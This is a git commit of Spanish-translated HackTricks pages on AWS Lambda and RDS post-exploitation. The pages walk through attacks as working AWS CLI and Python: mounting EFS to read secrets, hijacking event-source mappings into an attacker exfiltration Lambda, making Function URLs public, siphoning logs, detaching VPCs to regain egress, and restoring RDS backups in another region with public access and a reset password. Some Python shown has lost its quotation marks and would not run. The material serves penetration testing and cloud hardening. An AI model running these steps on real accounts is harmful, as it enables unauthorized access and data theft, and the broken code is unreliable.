Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-lambd

This commit is contained in:
Translator
2025-10-06 23:04:15 +00:00
parent 9341655082
commit f9dfe4ed35
13 changed files with 912 additions and 89 deletions

View File

@@ -1,35 +1,85 @@
# AWS - Lambda Post Explotación
# AWS - Lambda Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
## Lambda
Para más información consulta:
Para más información, consulta:
{{#ref}}
../../aws-services/aws-lambda-enum.md
{{#endref}}
### Exfiltrar Credenciales de Lambda
### Exfiltrar credenciales de Lambda
Lambda utiliza variables de entorno para inyectar credenciales en tiempo de ejecución. Si puedes acceder a ellas (leyendo `/proc/self/environ` o usando la función vulnerable), puedes usarlas tú mismo. Se encuentran en los nombres de variable predeterminados `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY` y `AWS_ACCESS_KEY_ID`.
Lambda usa variables de entorno para inyectar credenciales en tiempo de ejecución. Si puedes acceder a ellas (leyendo `/proc/self/environ` o usando la propia función vulnerable), puedes usarlas tú mismo. Residen en las variables por defecto `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, y `AWS_ACCESS_KEY_ID`.
Por defecto, estos tendrán acceso para escribir en un grupo de logs de CloudWatch (el nombre del cual se almacena en `AWS_LAMBDA_LOG_GROUP_NAME`), así como para crear grupos de logs arbitrarios, sin embargo, las funciones de Lambda frecuentemente tienen más permisos asignados según su uso previsto.
Por defecto, estas tendrán acceso para escribir en un cloudwatch log group (cuyo nombre se almacena en `AWS_LAMBDA_LOG_GROUP_NAME`), así como para crear log groups arbitrarios; sin embargo, las funciones lambda frecuentemente tienen más permisos asignados según su uso previsto.
### Robar Solicitudes URL de Otros Lambda
### Robar solicitudes URL de otras funciones Lambda
Si un atacante logra obtener RCE dentro de un Lambda, podrá robar las solicitudes HTTP de otros usuarios al lambda. Si las solicitudes contienen información sensible (cookies, credenciales...), podrá robárselas.
Si un atacante de alguna manera consigue RCE dentro de una Lambda podrá robar las peticiones HTTP de otros usuarios hacia la lambda. Si las peticiones contienen información sensible (cookies, credenciales...) podrá exfiltrarlas.
{{#ref}}
aws-warm-lambda-persistence.md
{{#endref}}
### Robar Solicitudes URL de Otros Lambda y Solicitudes de Extensiones
### Robar solicitudes URL de otras funciones Lambda y solicitudes de Extensions
Abusando de Lambda Layers también es posible abusar de extensiones y persistir en el lambda, pero también robar y modificar solicitudes.
Abusando de Lambda Layers también es posible abusar de las extensions y persistir en la lambda, además de robar y modificar solicitudes.
{{#ref}}
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
{{#endref}}
### AWS Lambda VPC Egress Bypass
Forzar una función Lambda fuera de una VPC restringida actualizando su configuración con un VpcConfig vacío (SubnetIds=[], SecurityGroupIds=[]). La función entonces se ejecutará en el plano de red gestionado por Lambda, recuperando el acceso a internet saliente y eludiendo los controles de egress aplicados por subredes privadas de la VPC sin NAT.
{{#ref}}
aws-lambda-vpc-egress-bypass.md
{{#endref}}
### AWS Lambda Runtime Pinning/Rollback Abuse
Abusar de `lambda:PutRuntimeManagementConfig` para fijar una función a una versión específica del runtime (Manual) o congelar las actualizaciones (FunctionUpdate). Esto preserva la compatibilidad con layers/wrappers maliciosos y puede mantener la función en un runtime obsoleto y vulnerable para facilitar la explotación y la persistencia a largo plazo.
{{#ref}}
aws-lambda-runtime-pinning-abuse.md
{{#endref}}
### AWS Lambda Log Siphon via LoggingConfig.LogGroup Redirection
Abusar de los controles avanzados de logging `lambda:UpdateFunctionConfiguration` para redirigir los logs de una función a un log group de CloudWatch Logs elegido por el atacante. Esto funciona sin cambiar el código ni el role de ejecución (la mayoría de los roles de Lambda ya incluyen `logs:CreateLogGroup/CreateLogStream/PutLogEvents` vía `AWSLambdaBasicExecutionRole`). Si la función imprime secretos/cuerpos de petición o falla con stack traces, puedes recopilarlos desde el nuevo log group.
{{#ref}}
aws-lambda-loggingconfig-redirection.md
{{#endref}}
### AWS - Lambda Function URL Public Exposure
Convertir una Function URL privada de Lambda en un endpoint público no autenticado cambiando el AuthType de la Function URL a NONE y adjuntando una resource-based policy que conceda lambda:InvokeFunctionUrl a todo el mundo. Esto permite la invocación anónima de funciones internas y puede exponer operaciones sensibles del backend.
{{#ref}}
aws-lambda-function-url-public-exposure.md
{{#endref}}
### AWS Lambda Event Source Mapping Target Hijack
Abusar de `UpdateEventSourceMapping` para cambiar la función Lambda objetivo de un Event Source Mapping (ESM) existente, de modo que los registros de DynamoDB Streams, Kinesis o SQS se entreguen a una función controlada por el atacante. Esto desvía silenciosamente datos en vivo sin tocar a los productores ni el código de la función original.
{{#ref}}
aws-lambda-event-source-mapping-target-hijack.md
{{#endref}}
### AWS Lambda EFS Mount Injection data exfiltration
Abusar de `lambda:UpdateFunctionConfiguration` para adjuntar un EFS Access Point existente a una Lambda, luego desplegar código trivial que liste/lea archivos desde la ruta montada para exfiltrar secretos/config compartidos a los que la función antes no podía acceder.
{{#ref}}
aws-lambda-efs-mount-injection.md
{{#endref}}
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,75 @@
# AWS Lambda EFS Mount Injection via UpdateFunctionConfiguration (Data Theft)
Abusar de `lambda:UpdateFunctionConfiguration` para adjuntar un EFS Access Point existente a una Lambda, luego desplegar código trivial que liste/lea archivos desde la ruta montada para exfiltrar secretos/configuración compartida a los que la función previamente no podía acceder.
## Requirements
- Permissions on the victim account/principal:
- `lambda:GetFunctionConfiguration`
- `lambda:ListFunctions` (to find functions)
- `lambda:UpdateFunctionConfiguration`
- `lambda:UpdateFunctionCode`
- `lambda:InvokeFunction`
- `efs:DescribeMountTargets` (to confirm mount targets exist)
- Environment assumptions:
- Target Lambda is VPC-enabled and its subnets/SGs can reach the EFS mount target SG over TCP/2049 (e.g. role has AWSLambdaVPCAccessExecutionRole and VPC routing allows it).
- The EFS Access Point is in the same VPC and has mount targets in the AZs of the Lambda subnets.
## Attack
- Variables
```
REGION=us-east-1
TARGET_FN=<target-lambda-name>
EFS_AP_ARN=<efs-access-point-arn>
```
1) Adjuntar el EFS Access Point a la Lambda
```
aws lambda update-function-configuration \
--function-name $TARGET_FN \
--file-system-configs Arn=$EFS_AP_ARN,LocalMountPath=/mnt/ht \
--region $REGION
# wait until LastUpdateStatus == Successful
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
```
2) Sobrescribir el código con un lector simple que liste archivos y muestre los primeros 200 bytes de un archivo candidato a secret/config
```
cat > reader.py <<PY
import os, json
BASE=/mnt/ht
def lambda_handler(e, c):
out={ls:[],peek:None}
try:
for root, dirs, files in os.walk(BASE):
for f in files:
p=os.path.join(root,f)
out[ls].append(p)
cand = next((p for p in out[ls] if secret in p.lower() or config in p.lower()), None)
if cand:
with open(cand,rb) as fh:
out[peek] = fh.read(200).decode(utf-8,ignore)
except Exception as ex:
out[err]=str(ex)
return out
PY
zip reader.zip reader.py
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://reader.zip --region $REGION
# If the original handler was different, set it to reader.lambda_handler
aws lambda update-function-configuration --function-name $TARGET_FN --handler reader.lambda_handler --region $REGION
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
```
3) Invocar y obtener los datos
```
aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
cat /tmp/efs-out.json
```
La salida debe contener el listado del directorio en /mnt/ht y una pequeña vista previa de un archivo secreto o de configuración seleccionado desde EFS.
## Impacto
Un atacante con los permisos listados puede montar puntos de acceso EFS arbitrarios dentro del VPC en funciones Lambda víctimas para leer y exfiltrar configuraciones y secretos compartidos almacenados en EFS que previamente eran inaccesibles para esa función.
## Remediación
```
aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true
```

View File

@@ -0,0 +1,75 @@
# AWS - Hijack Event Source Mapping to Redirect Stream/SQS/Kinesis to Attacker Lambda
{{#include ../../../../banners/hacktricks-training.md}}
Abusa de `UpdateEventSourceMapping` para cambiar la función Lambda objetivo de un Event Source Mapping (ESM) existente, de modo que los registros de DynamoDB Streams, Kinesis o SQS se entreguen a una función controlada por el atacante. Esto desvía silenciosamente datos en vivo sin tocar a los productores ni el código de la función original.
## Impacto
- Desviar y leer registros en vivo de streams/queues existentes sin modificar las aplicaciones productoras ni el código de la víctima.
- Posible exfiltración de datos o manipulación de la lógica al procesar el tráfico de la víctima en una función maliciosa.
## Permisos requeridos
- `lambda:ListEventSourceMappings`
- `lambda:GetEventSourceMapping`
- `lambda:UpdateEventSourceMapping`
- Capacidad para desplegar o referenciar una Lambda controlada por el atacante (`lambda:CreateFunction` o permiso para usar una existente).
## Pasos
1) Enumerar event source mappings para la función víctima
```
TARGET_FN=<victim-function-name>
aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[].{UUID:UUID,State:State,EventSourceArn:EventSourceArn}'
export MAP_UUID=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].UUID' --output text)
export EVENT_SOURCE_ARN=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].EventSourceArn' --output text)
```
2) Prepara una Lambda receptora controlada por el atacante (misma región; idealmente VPC/runtime similar)
```
cat > exfil.py <<'PY'
import json, boto3, os, time
def lambda_handler(event, context):
print(json.dumps(event)[:3000])
b = os.environ.get('EXFIL_S3')
if b:
k = f"evt-{int(time.time())}.json"
boto3.client('s3').put_object(Bucket=b, Key=k, Body=json.dumps(event))
return {'ok': True}
PY
zip exfil.zip exfil.py
ATTACKER_LAMBDA_ROLE_ARN=<role-with-logs-(and optional S3)-permissions>
export ATTACKER_FN_ARN=$(aws lambda create-function \
--function-name ht-esm-exfil \
--runtime python3.11 --role $ATTACKER_LAMBDA_ROLE_ARN \
--handler exfil.lambda_handler --zip-file fileb://exfil.zip \
--query FunctionArn --output text)
```
3) Reapuntar el mapping a la función del atacante
```
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $ATTACKER_FN_ARN
```
4) Genera un evento en la fuente para que el mapeo se active (ejemplo: SQS)
```
SOURCE_SQS_URL=<queue-url>
aws sqs send-message --queue-url $SOURCE_SQS_URL --message-body '{"x":1}'
```
5) Verificar que la función atacante reciba el lote
```
aws logs filter-log-events --log-group-name /aws/lambda/ht-esm-exfil --limit 5
```
6) Sigilo opcional
```
# Pause mapping while siphoning events
aws lambda update-event-source-mapping --uuid $MAP_UUID --enabled false
# Restore original target later
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $TARGET_FN --enabled true
```
Notas:
- Para SQS ESMs, el rol de ejecución de la Lambda que procesa la cola necesita `sqs:ReceiveMessage`, `sqs:DeleteMessage`, y `sqs:GetQueueAttributes` (política administrada: `AWSLambdaSQSQueueExecutionRole`).
- El UUID del ESM permanece igual; solo se cambia su `FunctionArn`, por lo que los productores y los source ARNs quedan intactos.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,46 @@
# AWS - Exposición pública de Lambda Function URL (AuthType NONE + Política pública de invocación)
Convierte una Lambda Function URL privada en un endpoint público no autenticado cambiando el AuthType de la Function URL a NONE y adjuntando una política basada en recursos que otorgue lambda:InvokeFunctionUrl a todo el mundo. Esto permite la invocación anónima de funciones internas y puede exponer operaciones sensibles del backend.
## Abuso
- Requisitos previos: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
- Región: us-east-1
### Pasos
1) Asegúrate de que la función tenga una Function URL (por defecto AWS_IAM):
```
aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
```
2) Cambia la URL a pública (AuthType NONE):
```
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
```
3) Añade una declaración de política basada en recursos para permitir principals no autenticados:
```
aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
```
4) Recupera la URL e invoca sin credenciales:
```
URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
curl -sS "$URL"
```
### Impacto
- La función Lambda pasa a ser accesible de forma anónima a través de internet.
### Ejemplo de salida (200 no autenticado)
```
HTTP 200
https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
{"message": "HackTricks demo: public Function URL reached", "timestamp": 1759761979, "env_hint": "us-east-1", "event_keys": ["version", "routeKey", "rawPath", "rawQueryString", "headers", "requestContext", "isBase64Encoded"]}
```
### Limpieza
```
aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
```

View File

@@ -0,0 +1,51 @@
# AWS Lambda Log Siphon mediante LoggingConfig.LogGroup Redirection
{{#include ../../../../banners/hacktricks-training.md}}
Abusa de `lambda:UpdateFunctionConfiguration` para redirigir los logs de una función a un grupo de CloudWatch Logs elegido por el atacante. Esto funciona sin cambiar el código ni el execution role (la mayoría de los roles de Lambda ya incluyen `logs:CreateLogGroup/CreateLogStream/PutLogEvents` vía `AWSLambdaBasicExecutionRole`). Si la función imprime secrets/request bodies o falla con stack traces, puedes recopilarlos desde el nuevo grupo de logs.
## Permisos requeridos
- lambda:UpdateFunctionConfiguration
- lambda:GetFunctionConfiguration
- lambda:InvokeFunction (o confiar en triggers existentes)
- logs:CreateLogGroup (a menudo no requerido si el role de la función ya lo tiene)
- logs:FilterLogEvents (para leer eventos)
## Pasos
1) Crea un grupo sink de logs
```
aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true
```
2) Redirigir los registros de la función objetivo
```
aws lambda update-function-configuration \
--function-name <TARGET_FN> \
--logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \
--region us-east-1
```
Espera hasta que `LastUpdateStatus` sea `Successful`:
```
aws lambda get-function-configuration --function-name <TARGET_FN> \
--query LastUpdateStatus --output text
```
3) Invocar y leer desde el sink
```
aws lambda invoke --function-name <TARGET_FN> /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null
sleep 5
aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text
```
## Impacto
- Redirigir de forma encubierta todos los logs de la aplicación/sistema a un grupo de logs que controlas, eludiendo la expectativa de que los logs solo vayan a `/aws/lambda/<fn>`.
- Exfiltrar datos sensibles que la función imprima o que aparezcan en errores.
## Limpieza
```
aws lambda update-function-configuration --function-name <TARGET_FN> \
--logging-config LogGroup=/aws/lambda/<TARGET_FN>,LogFormat=Text,ApplicationLogLevel=INFO \
--region us-east-1 || true
```
## Notas
- Los controles de logging son parte de `LoggingConfig` de Lambda (LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel).
- Por defecto, Lambda envía los logs a `/aws/lambda/<function>`, pero puedes apuntar a cualquier nombre de log group; Lambda (o el rol de ejecución) lo creará si tiene permiso.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,12 @@
# AWS Lambda Runtime Pinning/Rollback Abuse via PutRuntimeManagementConfig
Abusa de `lambda:PutRuntimeManagementConfig` para fijar una función a una versión específica del runtime (Manual) o para congelar las actualizaciones (FunctionUpdate). Esto mantiene la compatibilidad con layers/wrappers maliciosos y puede dejar la función en un runtime obsoleto y vulnerable, facilitando la explotación y la persistencia a largo plazo.
Requisitos: `lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig`.
Ejemplo (us-east-1):
- Invoke: `aws lambda invoke --function-name /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5`
- Freeze updates: `aws lambda put-runtime-management-config --function-name --update-runtime-on FunctionUpdate --region us-east-1`
- Verify: `aws lambda get-runtime-management-config --function-name --region us-east-1`
Opcionalmente, fija a una versión específica del runtime extrayendo el Runtime Version ARN de los logs INIT_START y usando `--update-runtime-on Manual --runtime-version-arn <arn>`.

View File

@@ -0,0 +1,63 @@
# AWS Lambda VPC Egress Bypass by Detaching VpcConfig
Fuerza que una función Lambda salga de una VPC restringida actualizando su configuración con un VpcConfig vacío (SubnetIds=[], SecurityGroupIds=[]). La función entonces se ejecutará en el plano de red gestionado por Lambda, recuperando el acceso a internet saliente y eludiendo los controles de egress aplicados por subredes privadas de la VPC sin NAT.
## Abusing it
- Pre-reqs: lambda:UpdateFunctionConfiguration on the target function (and lambda:InvokeFunction to validate), plus permissions to update code/handler if changing them.
- Assumptions: The function is currently configured with VpcConfig pointing to private subnets without NAT (so outbound internet is blocked).
- Region: us-east-1
### Steps
0) Prepare a minimal handler that proves outbound HTTP works
cat > net.py <<'PY'
import urllib.request, json
def lambda_handler(event, context):
try:
ip = urllib.request.urlopen('https://checkip.amazonaws.com', timeout=3).read().decode().strip()
return {"egress": True, "ip": ip}
except Exception as e:
return {"egress": False, "err": str(e)}
PY
zip net.zip net.py
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true
aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true
1) Record current VPC config (to restore later if needed)
aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json
cat /tmp/orig-vpc.json
2) Detach the VPC by setting empty lists
aws lambda update-function-configuration \
--function-name $TARGET_FN \
--vpc-config SubnetIds=[],SecurityGroupIds=[] \
--region $REGION
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
3) Invoke and verify outbound access
aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null
cat /tmp/net-out.json
(Optional) Restore original VPC config
if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then
SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json)
aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] --region $REGION
fi
### Impact
- Recovers unrestricted outbound internet access from the function, enabling data exfiltration or C2 from workloads that were intentionally isolated in private subnets without NAT.
### Example output (after detaching VpcConfig)
{"egress": true, "ip": "34.x.x.x"}
### Cleanup
- Si creaste cambios temporales en el código/handler, restáuralos.
- Opcionalmente restaura el VpcConfig original guardado en /tmp/orig-vpc.json como se muestra arriba.

View File

@@ -1,10 +1,10 @@
# AWS - RDS Post Explotación
# AWS - RDS Post-explotación
{{#include ../../../banners/hacktricks-training.md}}
## RDS
Para más información consulta:
Para más información, consulta:
{{#ref}}
../aws-services/aws-relational-database-rds-enum.md
@@ -12,7 +12,7 @@ Para más información consulta:
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
Si el atacante tiene suficientes permisos, podría hacer que una **DB sea accesible públicamente** creando un snapshot de la DB, y luego una DB accesible públicamente a partir del snapshot.
Si el atacante tiene los permisos suficientes, podría hacer que una **DB sea accesible públicamente** creando un snapshot de la DB y luego una DB accesible públicamente a partir del snapshot.
```bash
aws rds describe-db-instances # Get DB identifier
@@ -40,9 +40,9 @@ aws rds modify-db-instance \
```
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
Un atacante con estos permisos podría **crear un snapshot de una DB** y hacerlo **disponible** **públicamente**. Luego, podría simplemente crear en su propia cuenta una DB a partir de ese snapshot.
Un atacante con estos permisos podría **crear un snapshot de una DB** y hacerlo **públicamente** **disponible**. Luego, podría simplemente crear en su propia cuenta una DB a partir de ese snapshot.
Si el atacante **no tiene el `rds:CreateDBSnapshot`**, aún podría hacer que **otros** snapshots creados sean **públicos**.
Si el atacante **no tiene el `rds:CreateDBSnapshot`**, aún así podría hacer que **otros** snapshots creados sean **públicos**.
```bash
# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
@@ -53,11 +53,11 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
```
### `rds:DownloadDBLogFilePortion`
Un atacante con el permiso `rds:DownloadDBLogFilePortion` puede **descargar porciones de los archivos de registro de una instancia de RDS**. Si datos sensibles o credenciales de acceso se registran accidentalmente, el atacante podría potencialmente usar esta información para escalar sus privilegios o realizar acciones no autorizadas.
Un atacante con el permiso `rds:DownloadDBLogFilePortion` puede **descargar porciones de los archivos de registro de una instancia RDS**. Si datos sensibles o credenciales de acceso se registran por accidente, el atacante podría usar esta información para escalar privilegios o realizar acciones no autorizadas.
```bash
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
```
**Impacto Potencial**: Acceso a información sensible o acciones no autorizadas utilizando credenciales filtradas.
**Impacto potencial**: Acceso a información sensible o a acciones no autorizadas utilizando leaked credentials.
### `rds:DeleteDBInstance`
@@ -70,13 +70,97 @@ aws rds delete-db-instance --db-instance-identifier target-instance --skip-final
### `rds:StartExportTask`
> [!NOTA]
> TODO: Probar
> [!NOTE]
> PENDIENTE: Probar
Un atacante con este permiso puede **exportar una instantánea de la instancia RDS a un bucket S3**. Si el atacante tiene control sobre el bucket S3 de destino, puede acceder potencialmente a datos sensibles dentro de la instantánea exportada.
Un atacante con este permiso puede **exportar una instantánea de una instancia RDS a un bucket S3**. Si el atacante tiene control sobre el bucket S3 de destino, podría acceder potencialmente a datos sensibles contenidos en la instantánea exportada.
```bash
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
```
**Impacto potencial**: Acceso a datos sensibles en el snapshot exportado.
### Replicación de backups automatizados entre Regiones para restauración sigilosa (`rds:StartDBInstanceAutomatedBackupsReplication`)
Abusar de la replicación de backups automatizados entre Regiones para duplicar discretamente los backups automatizados de una instancia RDS en otra AWS Region y restaurarlos allí. El atacante puede entonces hacer que la DB restaurada sea accesible públicamente y restablecer la contraseña maestra para acceder a los datos fuera de banda en una Región que los defensores podrían no monitorear.
Permisos necesarios (mínimos):
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
- `rds:ModifyDBInstance` in the destination Region
- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
Impacto: Persistencia y exfiltración de datos al restaurar una copia de los datos de producción en otra Región y exponerla públicamente con credenciales controladas por el atacante.
<details>
<summary>CLI de extremo a extremo (reemplazar marcadores de posición)</summary>
```bash
# 1) Recon (SOURCE region A)
aws rds describe-db-instances \
--region <SOURCE_REGION> \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,DBInstanceStatus,PreferredBackupWindow]' \
--output table
# 2) Start cross-Region automated backups replication (run in DEST region B)
aws rds start-db-instance-automated-backups-replication \
--region <DEST_REGION> \
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN> \
--source-region <SOURCE_REGION> \
--backup-retention-period 7
# 3) Wait for replication to be ready in DEST
aws rds describe-db-instance-automated-backups \
--region <DEST_REGION> \
--query 'DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]' \
--output table
# Proceed when Status is "replicating" or "active" and note the DBInstanceAutomatedBackupsArn
# 4) Restore to latest restorable time in DEST
aws rds restore-db-instance-to-point-in-time \
--region <DEST_REGION> \
--source-db-instance-automated-backups-arn <AUTO_BACKUP_ARN> \
--target-db-instance-identifier <TARGET_DB_ID> \
--use-latest-restorable-time \
--db-instance-class db.t3.micro
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
# 5) Make public and reset credentials in DEST
# 5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)
OPEN_SG_ID=$(aws ec2 create-security-group --region <DEST_REGION> \
--group-name open-rds-<RAND> --description open --vpc-id <DEST_VPC_ID> \
--query GroupId --output text)
aws ec2 authorize-security-group-ingress --region <DEST_REGION> \
--group-id "$OPEN_SG_ID" \
--ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges='[{CidrIp=0.0.0.0/0}]'
# 5b) Publicly expose restored DB and attach the SG
aws rds modify-db-instance --region <DEST_REGION> \
--db-instance-identifier <TARGET_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids "$OPEN_SG_ID" \
--apply-immediately
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
# 5c) Reset the master password
aws rds modify-db-instance --region <DEST_REGION> \
--db-instance-identifier <TARGET_DB_ID> \
--master-user-password '<NEW_STRONG_PASSWORD>' \
--apply-immediately
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
# 6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)
ENDPOINT=$(aws rds describe-db-instances --region <DEST_REGION> \
--db-instance-identifier <TARGET_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text)
mysql -h "$ENDPOINT" -u <MASTER_USERNAME> -p'<NEW_STRONG_PASSWORD>' -e 'SHOW DATABASES;'
# 7) Optional: stop replication
aws rds stop-db-instance-automated-backups-replication \
--region <DEST_REGION> \
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
```
</details>
{{#include ../../../banners/hacktricks-training.md}}